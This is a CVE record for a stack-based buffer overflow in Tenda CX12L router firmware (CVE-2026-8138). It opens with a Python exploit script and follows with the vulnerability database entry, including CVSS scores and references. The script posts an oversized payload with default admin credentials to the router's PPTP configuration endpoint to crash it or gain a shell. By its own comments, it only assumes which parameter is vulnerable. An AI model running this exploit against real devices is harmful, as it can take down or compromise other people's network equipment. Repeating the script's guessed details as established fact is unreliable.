CVE-2026-8138

import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/SetPptpServerCfg" # Vulnerability analysis # The function 'formSetPPTPServer' does not check the length of input parameters # before copying them to a stack-based buffer. # Sending a large payload can trigger the buffer overflow. # Constructing the payload # Note: The specific parameter name causing the overflow depends on the firmware analysis. # Assuming 'pptpServerName' or similar parameter is the culprit based on context. payload = "A" * 1000 # Length sufficient to overflow the stack buffer post_data = { "username": "admin", "password": "admin", "pptpServerName": payload, # Vulnerable parameter input "action": "apply" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=post_data, headers=headers, timeout=5) print(f"Response Status Code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("Payload sent successfully. Check the device for crash or shell access.") else: print("Unexpected response.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}") print("The device might have crashed due to the overflow.")

{"cve": {"id": "CVE-2026-8138", "sourceIdentifier": "[email protected]", "published": "2026-05-08T05:16:11.833", "lastModified": "2026-05-11T13:00:50.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Tenda CX12L 16.03.53.12. This issue affects the function formSetPPTPServer of the file /goform/SetPptpServerCfg”. The manipulation results in stack-based buffer overflow. The attack can be executed remotely. The exploit has been made public and could be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:cx12l_firmware:16.03.53.12:*:*:*:*:*:*:*", "matchCriteriaId": "29A51177-6DA7-402C-A044-90E0A6233460"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:cx12l:-:*:*:*:*:*:*:*", "matchCriteriaId": "1BDC7968-7172-486D-9D64-76288E9FBDE9"}]}]}], "references": [{"url": "https://github.com/cve-a/lvdan/issues/6", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Issue Tracking"]}, {"url": "https://vuldb.com/submit/808867", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/361927", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/361927/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}